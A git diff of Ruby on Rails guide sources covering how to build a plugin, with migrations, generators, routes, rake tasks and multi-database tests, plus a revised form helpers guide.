b/vendor/rails/railties/doc/guides/source/creating_plugins/migrations.txt new file mode 100644 index 00000000..2589169b --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/migrations.txt @@ -0,0 +1,194 @@ +== Migrations == + +If your plugin requires changes to the app's database you will likely want to somehow add migrations. Rails does not include any built-in support for calling migrations from plugins, but you can still make it easy for developers to call migrations from plugins. + +If you have a very simple needs, like creating a table that will always have the same name and columns, then you can use a more simple solution, like creating a custom rake task or method. If your migration needs user input to supply table names or other options, you probably want to opt for generating a migration. + +Let's say you have the following migration in your plugin: + +*vendor/plugins/yaffle/lib/db/migrate/20081116181115_create_birdhouses.rb:* + +[source, ruby] +---------------------------------------------- +class CreateBirdhouses < ActiveRecord::Migration + def self.up + create_table :birdhouses, :force => true do |t| + t.string :name + t.timestamps + end + end + + def self.down + drop_table :birdhouses + end +end +---------------------------------------------- + +Here are a few possibilities for how to allow developers to use your plugin migrations: + +=== Create a custom rake task === + +*vendor/plugins/yaffle/tasks/yaffle_tasks.rake:* + +[source, ruby] +---------------------------------------------- +namespace :db do + namespace :migrate do + desc "Migrate the database through scripts in vendor/plugins/yaffle/lib/db/migrate and update db/schema.rb by invoking db:schema:dump. Target specific version with VERSION=x. Turn off output with VERBOSE=false." + task :yaffle => :environment do + ActiveRecord::Migration.verbose = ENV["VERBOSE"] ? ENV["VERBOSE"] == "true" : true + ActiveRecord::Migrator.migrate("vendor/plugins/yaffle/lib/db/migrate/", ENV["VERSION"] ? ENV["VERSION"].to_i : nil) + Rake::Task["db:schema:dump"].invoke if ActiveRecord::Base.schema_format == :ruby + end + end +end +---------------------------------------------- + +=== Call migrations directly === + +*vendor/plugins/yaffle/lib/yaffle.rb:* + +[source, ruby] +---------------------------------------------- +Dir.glob(File.join(File.dirname(__FILE__), "db", "migrate", "*")).each do |file| + require file +end +---------------------------------------------- + +*db/migrate/20081116181115_create_birdhouses.rb:* + +[source, ruby] +---------------------------------------------- +class CreateBirdhouses < ActiveRecord::Migration + def self.up + Yaffle::CreateBirdhouses.up + end + + def self.down + Yaffle::CreateBirdhouses.down + end +end +---------------------------------------------- + +.Editor's note: +NOTE: several plugin frameworks such as Desert and Engines provide more advanced plugin functionality. + +=== Generate migrations === + +Generating migrations has several advantages over other methods. Namely, you can allow other developers to more easily customize the migration. The flow looks like this: + + * call your script/generate script and pass in whatever options they need + * examine the generated migration, adding/removing columns or other options as necessary + +This example will demonstrate how to use one of the built-in generator methods named 'migration_template' to create a migration file. Extending the rails migration generator requires a somewhat intimate knowledge of the migration generator internals, so it's best to write a test first: + +*vendor/plugins/yaffle/test/yaffle_migration_generator_test.rb* + +[source, ruby] +------------------------------------------------------------------ +require File.dirname(__FILE__) + '/test_helper.rb' +require 'rails_generator' +require 'rails_generator/scripts/generate' + +class MigrationGeneratorTest < Test::Unit::TestCase + + def setup + FileUtils.mkdir_p(fake_rails_root) + @original_files = file_list + end + + def teardown + ActiveRecord::Base.pluralize_table_names = true + FileUtils.rm_r(fake_rails_root) + end + + def test_generates_correct_file_name + Rails::Generator::Scripts::Generate.new.run(["yaffle_migration", "some_name_nobody_is_likely_to_ever_use_in_a_real_migration"], :destination => fake_rails_root) + new_file = (file_list - @original_files).first + assert_match /add_yaffle_fields_to_some_name_nobody_is_likely_to_ever_use_in_a_real_migrations/, new_file + assert_match /add_column :some_name_nobody_is_likely_to_ever_use_in_a_real_migrations do |t|/, File.read(new_file) + end + + def test_pluralizes_properly + ActiveRecord::Base.pluralize_table_names = false + Rails::Generator::Scripts::Generate.new.run(["yaffle_migration", "some_name_nobody_is_likely_to_ever_use_in_a_real_migration"], :destination => fake_rails_root) + new_file = (file_list - @original_files).first + assert_match /add_yaffle_fields_to_some_name_nobody_is_likely_to_ever_use_in_a_real_migration/, new_file + assert_match /add_column :some_name_nobody_is_likely_to_ever_use_in_a_real_migration do |t|/, File.read(new_file) + end + + private + def fake_rails_root + File.join(File.dirname(__FILE__), 'rails_root') + end + + def file_list + Dir.glob(File.join(fake_rails_root, "db", "migrate", "*")) + end + +end +------------------------------------------------------------------ + +.Editor's note: +NOTE: the migration generator checks to see if a migation already exists, and it's hard-coded to check the 'db/migrate' directory. As a result, if your test tries to generate a migration that already exists in the app, it will fail. The easy workaround is to make sure that the name you generate in your test is very unlikely to actually appear in the app. + +After running the test with 'rake' you can make it pass with: + +*vendor/plugins/yaffle/generators/yaffle_migration/yaffle_migration_generator.rb* + +[source, ruby] +------------------------------------------------------------------ +class YaffleMigrationGenerator < Rails::Generator::NamedBase + def manifest + record do |m| + m.migration_template 'migration:migration.rb', "db/migrate", {:assigns => yaffle_local_assigns, + :migration_file_name => "add_yaffle_fields_to_#{custom_file_name}" + } + end + end + + private + def custom_file_name + custom_name = class_name.underscore.downcase + custom_name = custom_name.pluralize if ActiveRecord::Base.pluralize_table_names + custom_name + end + + def yaffle_local_assigns + returning(assigns = {}) do + assigns[:migration_action] = "add" + assigns[:class_name] = "add_yaffle_fields_to_#{custom_file_name}" + assigns[:table_name] = custom_file_name + assigns[:attributes] = [Rails::Generator::GeneratedAttribute.new("last_squawk", "string")] + end + end +end +------------------------------------------------------------------ + +The generator creates a new file in 'db/migrate' with a timestamp and an 'add_column' statement. It reuses the built in rails `migration_template` method, and reuses the built-in rails migration template. + +It's courteous to check to see if table names are being pluralized whenever you create a generator that needs to be aware of table names. This way people using your generator won't have to manually change the generated files if they've turned pluralization off. + +To run the generator, type the following at the command line: + +------------------------------------------------------------------ +./script/generate yaffle_migration bird +------------------------------------------------------------------ + +and you will see a new file: + +*db/migrate/20080529225649_add_yaffle_fields_to_birds.rb* + +[source, ruby] +------------------------------------------------------------------ +class AddYaffleFieldsToBirds < ActiveRecord::Migration + def self.up + add_column :birds, :last_squawk, :string + end + + def self.down + remove_column :birds, :last_squawk + end +end +------------------------------------------------------------------ + diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/models.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/models.txt index 458edec8..1498b8e2 100644 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/models.txt +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/models.txt @@ -1,4 +1,4 @@ -== Add a model == +== Models == This section describes how to add a model named 'Woodpecker' to your plugin that will behave the same as a model in your main app. When storing models, controllers, views and helpers in your plugin, it's customary to keep them in directories that match the rails directories. For this example, create a file structure like this: @@ -20,7 +20,7 @@ vendor/plugins/yaffle/ As always, start with a test: -*vendor/plugins/yaffle/yaffle/woodpecker_test.rb:* +*vendor/plugins/yaffle/test/woodpecker_test.rb:* [source, ruby] ---------------------------------------------- @@ -66,11 +66,9 @@ Finally, add the following to your plugin's 'schema.rb': [source, ruby] ---------------------------------------------- -ActiveRecord::Schema.define(:version => 0) do - create_table :woodpeckers, :force => true do |t| - t.string :name - end +create_table :woodpeckers, :force => true do |t| + t.string :name end ---------------------------------------------- -Now your test should be passing, and you should be able to use the Woodpecker model from within your rails app, and any changes made to it are reflected immediately when running in development mode. \ No newline at end of file +Now your test should be passing, and you should be able to use the Woodpecker model from within your rails app, and any changes made to it are reflected immediately when running in development mode. diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/odds_and_ends.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/odds_and_ends.txt deleted file mode 100644 index e328c04a..00000000 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/odds_and_ends.txt +++ /dev/null @@ -1,69 +0,0 @@ -== Odds and ends == - -=== Generate RDoc Documentation === - -Once your plugin is stable, the tests pass on all database and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy. - -The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are: - - * Your name. - * How to install. - * How to add the functionality to the app (several examples of common use cases). - * Warning, gotchas or tips that might help save users time. - -Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. - -Before you generate your documentation, be sure to go through and add nodoc comments to those modules and methods that are not important to your users. - -Once your comments are good to go, navigate to your plugin directory and run: - - rake rdoc - -=== Write custom Rake tasks in your plugin === - -When you created the plugin with the built-in rails generator, it generated a rake file for you in 'vendor/plugins/yaffle/tasks/yaffle.rake'. Any rake task you add here will be available to the app. - -Many plugin authors put all of their rake tasks into a common namespace that is the same as the plugin, like so: - -*vendor/plugins/yaffle/tasks/yaffle.rake* - -[source, ruby] ---------------------------------------------------------- -namespace :yaffle do - desc "Prints out the word 'Yaffle'" - task :squawk => :environment do - puts "squawk!" - end -end ---------------------------------------------------------- - -When you run `rake -T` from your plugin you will see: - ---------------------------------------------------------- -yaffle:squawk # Prints out the word 'Yaffle' ---------------------------------------------------------- - -You can add as many files as you want in the tasks directory, and if they end in .rake Rails will pick them up. - -=== Store plugins in alternate locations === - -You can store plugins wherever you want - you just have to add those plugins to the plugins path in 'environment.rb'. - -Since the plugin is only loaded after the plugin paths are defined, you can't redefine this in your plugins - but it may be good to now. - -You can even store plugins inside of other plugins for complete plugin madness! - -[source, ruby] ---------------------------------------------------------- -config.plugin_paths << File.join(RAILS_ROOT,"vendor","plugins","yaffle","lib","plugins") ---------------------------------------------------------- - -=== Create your own Plugin Loaders and Plugin Locators === - -If the built-in plugin behavior is inadequate, you can change almost every aspect of the location and loading process. You can write your own plugin locators and plugin loaders, but that's beyond the scope of this tutorial. - - -=== Use Custom Plugin Generators === - -If you are an RSpec fan, you can install the `rspec_plugin_generator` gem, which will generate the spec folder and database for you. See http://github.com/pat-maddox/rspec-plugin-generator/tree/master. - diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/rdoc.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/rdoc.txt new file mode 100644 index 00000000..0f6f843c --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/rdoc.txt @@ -0,0 +1,18 @@ +== RDoc Documentation == + +Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy. + +The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are: + + * Your name + * How to install + * How to add the functionality to the app (several examples of common use cases) + * Warning, gotchas or tips that might help save users time + +Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not part of the public api. + +Once your comments are good to go, navigate to your plugin directory and run: + +--------------------------------------------------------- +rake rdoc +--------------------------------------------------------- diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/custom_route.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/routes.txt similarity index 72% rename from vendor/rails/railties/doc/guides/source/creating_plugins/custom_route.txt rename to vendor/rails/railties/doc/guides/source/creating_plugins/routes.txt index 1fce902a..dc1bf09f 100644 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/custom_route.txt +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/routes.txt @@ -1,6 +1,8 @@ -== Add a Custom Route == +== Routes == -Testing routes in plugins can be complex, especially if the controllers are also in the plugin itself. Jamis Buck showed a great example of this in http://weblog.jamisbuck.org/2006/10/26/monkey-patching-rails-extending-routes-2. +In a standard 'routes.rb' file you use routes like 'map.connect' or 'map.resources'. You can add your own custom routes from a plugin. This section will describe how to add a custom method called that can be called with 'map.yaffles'. + +Testing routes from plugins is slightly different from testing routes in a standard rails app. To begin, add a test like this: *vendor/plugins/yaffle/test/routing_test.rb* @@ -22,10 +24,6 @@ class RoutingTest < Test::Unit::TestCase private - # yes, I know about assert_recognizes, but it has proven problematic to - # use in these tests, since it uses RouteSet#recognize (which actually - # tries to instantiate the controller) and because it uses an awkward - # parameter order. def assert_recognition(method, path, options) result = ActionController::Routing::Routes.recognize_path(path, :method => method) assert_equal options, result @@ -33,15 +31,16 @@ class RoutingTest < Test::Unit::TestCase end -------------------------------------------------------- -*vendor/plugins/yaffle/init.rb* +Once you see the tests fail by running 'rake', you can make them pass with: + +*vendor/plugins/yaffle/lib/yaffle.rb* [source, ruby] -------------------------------------------------------- -require "routing" -ActionController::Routing::RouteSet::Mapper.send :include, Yaffle::Routing::MapperExtensions +require "yaffle/routing" -------------------------------------------------------- -*vendor/plugins/yaffle/lib/routing.rb* +*vendor/plugins/yaffle/lib/yaffle/routing.rb* [source, ruby] -------------------------------------------------------- @@ -54,6 +53,8 @@ module Yaffle #:nodoc: end end end + +ActionController::Routing::RouteSet::Mapper.send :include, Yaffle::Routing::MapperExtensions -------------------------------------------------------- *config/routes.rb* @@ -61,7 +62,6 @@ end [source, ruby] -------------------------------------------------------- ActionController::Routing::Routes.draw do |map| - ... map.yaffles end -------------------------------------------------------- diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/setup.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/setup.txt new file mode 100644 index 00000000..cd4b6ecb --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/setup.txt @@ -0,0 +1,84 @@ +== Setup == + +=== Create the basic app === + +The examples in this guide require that you have a working rails application. To create a simple rails app execute: + +------------------------------------------------ +gem install rails +rails yaffle_guide +cd yaffle_guide +script/generate scaffold bird name:string +rake db:migrate +script/server +------------------------------------------------ + +Then navigate to http://localhost:3000/birds. Make sure you have a functioning rails app before continuing. + +.Editor's note: +NOTE: The aforementioned instructions will work for sqlite3. For more detailed instructions on how to create a rails app for other databases see the API docs. + + +=== Generate the plugin skeleton === + +Rails ships with a plugin generator which creates a basic plugin skeleton. Pass the plugin name, either 'CamelCased' or 'under_scored', as an argument. Pass `\--with-generator` to add an example generator also. + +This creates a plugin in 'vendor/plugins' including an 'init.rb' and 'README' as well as standard 'lib', 'task', and 'test' directories. + +Examples: +---------------------------------------------- +./script/generate plugin yaffle +./script/generate plugin yaffle --with-generator +---------------------------------------------- + +To get more detailed help on the plugin generator, type `./script/generate plugin`. + +Later on this guide will describe how to work with generators, so go ahead and generate your plugin with the `\--with-generator` option now: + +---------------------------------------------- +./script/generate plugin yaffle --with-generator +---------------------------------------------- + +You should see the following output: + +---------------------------------------------- +create vendor/plugins/yaffle/lib +create vendor/plugins/yaffle/tasks +create vendor/plugins/yaffle/test +create vendor/plugins/yaffle/README +create vendor/plugins/yaffle/MIT-LICENSE +create vendor/plugins/yaffle/Rakefile +create vendor/plugins/yaffle/init.rb +create vendor/plugins/yaffle/install.rb +create vendor/plugins/yaffle/uninstall.rb +create vendor/plugins/yaffle/lib/yaffle.rb +create vendor/plugins/yaffle/tasks/yaffle_tasks.rake +create vendor/plugins/yaffle/test/core_ext_test.rb +create vendor/plugins/yaffle/generators +create vendor/plugins/yaffle/generators/yaffle +create vendor/plugins/yaffle/generators/yaffle/templates +create vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb +create vendor/plugins/yaffle/generators/yaffle/USAGE +---------------------------------------------- + +=== Organize your files === + +To make it easy to organize your files and to make the plugin more compatible with GemPlugins, start out by altering your file system to look like this: + +-------------------------------------------------------- +|-- lib +| |-- yaffle +| `-- yaffle.rb +`-- rails + | + `-- init.rb +-------------------------------------------------------- + +*vendor/plugins/yaffle/rails/init.rb* + +[source, ruby] +-------------------------------------------------------- +require 'yaffle' +-------------------------------------------------------- + +Now you can add any 'require' statements to 'lib/yaffle.rb' and keep 'init.rb' clean. \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/tasks.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/tasks.txt new file mode 100644 index 00000000..edaffec1 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/tasks.txt @@ -0,0 +1,27 @@ +== Rake tasks == + +When you created the plugin with the built-in rails generator, it generated a rake file for you in 'vendor/plugins/yaffle/tasks/yaffle_tasks.rake'. Any rake task you add here will be available to the app. + +Many plugin authors put all of their rake tasks into a common namespace that is the same as the plugin, like so: + +*vendor/plugins/yaffle/tasks/yaffle_tasks.rake* + +[source, ruby] +--------------------------------------------------------- +namespace :yaffle do + desc "Prints out the word 'Yaffle'" + task :squawk => :environment do + puts "squawk!" + end +end +--------------------------------------------------------- + +When you run `rake -T` from your plugin you will see: + +--------------------------------------------------------- +yaffle:squawk # Prints out the word 'Yaffle' +--------------------------------------------------------- + +You can add as many files as you want in the tasks directory, and if they end in .rake Rails will pick them up. + +Note that tasks from 'vendor/plugins/yaffle/Rakefile' are not available to the main app. \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/test_setup.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/test_setup.txt index 64236ff1..9ee98c99 100644 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/test_setup.txt +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/test_setup.txt @@ -116,9 +116,6 @@ ActiveRecord::Schema.define(:version => 0) do t.string :last_tweet t.datetime :last_tweeted_at end - create_table :woodpeckers, :force => true do |t| - t.string :name - end end ---------------------------------------------- diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/tests.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/tests.txt new file mode 100644 index 00000000..47611542 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/tests.txt @@ -0,0 +1,165 @@ +== Tests == + +In this guide you will learn how to test your plugin against multiple different database adapters using Active Record. To setup your plugin to allow for easy testing you'll need to add 3 files: + + * A 'database.yml' file with all of your connection strings + * A 'schema.rb' file with your table definitions + * A test helper method that sets up the database + +=== Test Setup === + +*vendor/plugins/yaffle/test/database.yml:* + +---------------------------------------------- +sqlite: + :adapter: sqlite + :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite.db + +sqlite3: + :adapter: sqlite3 + :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite3.db + +postgresql: + :adapter: postgresql + :username: postgres + :password: postgres + :database: yaffle_plugin_test + :min_messages: ERROR + +mysql: + :adapter: mysql + :host: localhost + :username: root + :password: password + :database: yaffle_plugin_test +---------------------------------------------- + +For this guide you'll need 2 tables/models, Hickwalls and Wickwalls, so add the following: + +*vendor/plugins/yaffle/test/schema.rb:* + +[source, ruby] +---------------------------------------------- +ActiveRecord::Schema.define(:version => 0) do + create_table :hickwalls, :force => true do |t| + t.string :name + t.string :last_squawk + t.datetime :last_squawked_at + end + create_table :wickwalls, :force => true do |t| + t.string :name + t.string :last_tweet + t.datetime :last_tweeted_at + end + create_table :woodpeckers, :force => true do |t| + t.string :name + end +end +---------------------------------------------- + +*vendor/plugins/yaffle/test/test_helper.rb:* + +[source, ruby] +---------------------------------------------- +ENV['RAILS_ENV'] = 'test' +ENV['RAILS_ROOT'] ||= File.dirname(__FILE__) + '/../../../..' + +require 'test/unit' +require File.expand_path(File.join(ENV['RAILS_ROOT'], 'config/environment.rb')) + +def load_schema + config = YAML::load(IO.read(File.dirname(__FILE__) + '/database.yml')) + ActiveRecord::Base.logger = Logger.new(File.dirname(__FILE__) + "/debug.log") + + db_adapter = ENV['DB'] + + # no db passed, try one of these fine config-free DBs before bombing. + db_adapter ||= + begin + require 'rubygems' + require 'sqlite' + 'sqlite' + rescue MissingSourceFile + begin + require 'sqlite3' + 'sqlite3' + rescue MissingSourceFile + end + end + + if db_adapter.nil? + raise "No DB Adapter selected. Pass the DB= option to pick one, or install Sqlite or Sqlite3." + end + + ActiveRecord::Base.establish_connection(config[db_adapter]) + load(File.dirname(__FILE__) + "/schema.rb") + require File.dirname(__FILE__) + '/../rails/init.rb' +end +---------------------------------------------- + +Now whenever you write a test that requires the database, you can call 'load_schema'. + +=== Run the plugin tests === + +Once you have these files in place, you can write your first test to ensure that your plugin-testing setup is correct. By default rails generates a file in 'vendor/plugins/yaffle/test/yaffle_test.rb' with a sample test. Replace the contents of that file with: + +*vendor/plugins/yaffle/test/yaffle_test.rb:* + +[source, ruby] +---------------------------------------------- +require File.dirname(__FILE__) + '/test_helper.rb' + +class YaffleTest < Test::Unit::TestCase + load_schema + + class Hickwall < ActiveRecord::Base + end + + class Wickwall < ActiveRecord::Base + end + + def test_schema_has_loaded_correctly + assert_equal [], Hickwall.all + assert_equal [], Wickwall.all + end + +end +---------------------------------------------- + +To run this, go to the plugin directory and run `rake`: + +---------------------------------------------- +cd vendor/plugins/yaffle +rake +---------------------------------------------- + +You should see output like: + +---------------------------------------------- +/opt/local/bin/ruby -Ilib:lib "/opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader.rb" "test/yaffle_test.rb" +-- create_table(:hickwalls, {:force=>true}) + -> 0.0220s +-- create_table(:wickwalls, {:force=>true}) + -> 0.0077s +-- initialize_schema_migrations_table() + -> 0.0007s +-- assume_migrated_upto_version(0) + -> 0.0007s +Loaded suite /opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader +Started +. +Finished in 0.002236 seconds. + +1 test, 1 assertion, 0 failures, 0 errors +---------------------------------------------- + +By default the setup above runs your tests with sqlite or sqlite3. To run tests with one of the other connection strings specified in database.yml, pass the DB environment variable to rake: + +---------------------------------------------- +rake DB=sqlite +rake DB=sqlite3 +rake DB=mysql +rake DB=postgresql +---------------------------------------------- + +Now you are ready to test-drive your plugin! diff --git a/vendor/rails/railties/doc/guides/source/form_helpers.txt b/vendor/rails/railties/doc/guides/source/form_helpers.txt index 88ca74a5..e2afcf41 100644 --- a/vendor/rails/railties/doc/guides/source/form_helpers.txt +++ b/vendor/rails/railties/doc/guides/source/form_helpers.txt @@ -1,22 +1,22 @@ Rails form helpers ================== -Mislav Marohnić Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use. -In this guide we will: +In this guide you will: -* Create search forms and similar kind of generic forms not representing any specific model in your application; -* Make model-centric forms for creation and editing of specific database records; -* Generate select boxes from multiple types of data; -* Learn what makes a file upload form different; -* Build complex, multi-model forms. +* Create search forms and similar kind of generic forms not representing any specific model in your application +* Make model-centric forms for creation and editing of specific database records +* Generate select boxes from multiple types of data +* Understand the date and time helpers Rails provides +* Learn what makes a file upload form different +* Find out where to look for complex forms NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit http://api.rubyonrails.org/[the Rails API documentation] for a complete reference. -Basic forms ------------ +Dealing With Basic Forms +------------------------ The most basic form helper is `form_tag`. @@ -26,9 +26,9 @@ The most basic form helper is `form_tag`. <% end %> ---------------------------------------------------------------------------- -When called without arguments like this, it creates a form element that has the current page for action attribute and "POST" as method (some line breaks added for readability): +When called without arguments like this, it creates a form element that has the current page as its action and "post" as its method (some line breaks added for readability): -.Sample rendering of `form_tag` +.Sample output from `form_tag` ----------------------------------------------------------------------------
@@ -38,12 +38,12 @@ When called without arguments like this, it creates a form element that has the ---------------------------------------------------------------------------- -If you carefully observe this output, you can see that the helper generated something we didn't specify: a `div` element with a hidden input inside. This is a security feature of Rails called *cross-site request forgery protection* and form helpers generate it for every form which action isn't "GET" (provided that this security feature is enabled). +If you carefully observe this output, you can see that the helper generated something you didn't specify: a `div` element with a hidden input inside. This is a security feature of Rails called *cross-site request forgery protection* and form helpers generate it for every form whose action is not "get" (provided that this security feature is enabled). You can read more about this in the link:./security.html#_cross_site_reference_forgery_csrf[Ruby On Rails Security Guide]. NOTE: Throughout this guide, this `div` with the hidden input will be stripped away to have clearer code samples. -Generic search form -~~~~~~~~~~~~~~~~~~~ +A Generic search form +~~~~~~~~~~~~~~~~~~~~~ Probably the most minimal form often seen on the web is a search form with a single text input for search terms. This form consists of: @@ -52,9 +52,9 @@ Probably the most minimal form often seen on the web is a search form with a sin 3. a text input element, and 4. a submit element. -IMPORTANT: Always use "GET" as the method for search forms. Benefits are many: users are able to bookmark a specific search and get back to it; browsers cache results of "GET" requests, but not "POST"; and other. +IMPORTANT: Always use "GET" as the method for search forms. This allows users are able to bookmark a specific search and get back to it, more generally Rails encourages you to use the right HTTP verb for an action. -To create that, we will use `form_tag`, `label_tag`, `text_field_tag` and `submit_tag`, respectively. +To create this form you will use `form_tag`, `label_tag`, `text_field_tag` and `submit_tag`, respectively. .A basic search form ---------------------------------------------------------------------------- @@ -87,36 +87,50 @@ The above view code will result in the following markup: Besides `text_field_tag` and `submit_tag`, there is a similar helper for _every_ form control in HTML. -TIP: For every form input, an ID attribute is generated from its name ("q" in our example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript. +TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript. -Multiple hashes in form helper attributes -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Multiple hashes in form helper calls +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -By now we've seen that the `form_tag` helper accepts 2 arguments: the path for the action attribute and an options hash for parameters (like `:method`). +By now you've seen that the `form_tag` helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class. -Identical to the `link_to` helper, the path argument doesn't have to be given as string or a named route. It can be a hash of URL parameters that Rails' routing mechanism will turn into a valid URL. Still, we cannot simply write this: +As with the `link_to` helper, the path argument doesn't have to be given a string. It can be a hash of URL parameters that Rails' routing mechanism will turn into a valid URL. Still, you cannot simply write this: .A bad way to pass multiple hashes as method arguments ---------------------------------------------------------------------------- -form_tag(:controller => "people", :action => "search", :method => "get") -# =>
+form_tag(:controller => "people", :action => "search", :method => "get", :class => "nifty_form") +# => ---------------------------------------------------------------------------- -Here we wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a URL that we didn't want. The solution is to delimit the first hash (or both hashes) with curly brackets: +Here you wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a URL with extraneous parameters. The solution is to delimit the first hash (or both hashes) with curly brackets: .The correct way of passing multiple hashes as arguments ---------------------------------------------------------------------------- -form_tag({:controller => "people", :action => "search"}, :method => "get") -# => +form_tag({:controller => "people", :action => "search"}, :method => "get", :class => "nifty_form") +# => ---------------------------------------------------------------------------- This is a common pitfall when using form helpers, since many of them accept multiple hashes. So in future, if a helper produces unexpected output, make sure that you have delimited the hash parameters properly. WARNING: Do not delimit the second hash without doing so with the first hash, otherwise your method invocation will result in an `expecting tASSOC` syntax error. -Checkboxes, radio buttons and other controls -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Helpers for generating form elements +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Rails provides a series of helpers for generating form elements such as checkboxes, text fields, radio buttons and so. These basic helpers, with names ending in _tag such as `text_field_tag`, `check_box_tag` just generate a single `` element. The first parameter to these is always the name of the input. In the controller, this name will be the key in the `params` hash used to get the value entered by the user. For example if the form contains + +--------------------------- +<%= text_field_tag(:query) %> +--------------------------- + +then the controller code should use +--------------------------- +params[:query] +--------------------------- +to retrieve the value entered by the user. When naming inputs be aware that Rails uses certain conventions that control whether values are at the top level of the `params` hash, inside an array or a nested hash and so on. You can read more about them in the <> section. For details on the precise usage of these helpers, please refer to the http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html[API documentation]. + +Checkboxes +^^^^^^^^^^ Checkboxes are form controls that give the user a set of options they can enable or disable: ---------------------------------------------------------------------------- @@ -133,6 +147,10 @@ output: ---------------------------------------------------------------------------- +The second parameter to `check_box_tag` is the value of the input. This is the value that will be submitted by the browser if the checkbox is ticked (i.e. the value that will be present in the `params` hash). With the above form you would check the value of `params[:pet_dog]` and `params[:pet_cat]` to see which pets the user owns. + +Radio buttons +^^^^^^^^^^^^^ Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (user can only pick one): ---------------------------------------------------------------------------- @@ -149,9 +167,13 @@ output: ---------------------------------------------------------------------------- +As with `check_box_tag` the second parameter to `radio_button_tag` is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one and `params[:age]` will contain either "child" or "adult". + IMPORTANT: Always use labels for each checkbox and radio button. They associate text with a specific option and provide a larger clickable region. -Other form controls we might mention are the text area, password input and hidden input: +Other helpers of interest +^^^^^^^^^^^^^^^^^^^^^^^^^ +Other form controls worth mentioning are the text area, password input and hidden input: ---------------------------------------------------------------------------- <%= text_area_tag(:message, "Hi, nice site", :size => "24x6") %> @@ -165,37 +187,43 @@ output: ---------------------------------------------------------------------------- -Hidden inputs are not shown to the user, but they hold data same as any textual input. Values inside them can be changed with JavaScript. +Hidden inputs are not shown to the user, but they hold data like any textual input. Values inside them can be changed with JavaScript. TIP: If you're using password input fields (for any purpose), you might want to prevent their values showing up in application logs by activating `filter_parameter_logging(:password)` in your ApplicationController. -How do forms with PUT or DELETE methods work? -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PUT" and "DELETE" requests (besides "GET" and "POST"). Still, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms. How does this work, then? +Dealing With Model Objects +-------------------------- -Rails works around this issue by emulating other methods over POST with a hidden input named `"_method"` that is set to reflect the wanted method: +Model object helpers +~~~~~~~~~~~~~~~~~~~~~~ ----------------------------------------------------------------------------- -form_tag(search_path, :method => "put") - -output: +A particularly common task for a form is editing or creating a model object. While the `*_tag` helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the _tag suffix, for example `text_field`, `text_area`. - -
- - -
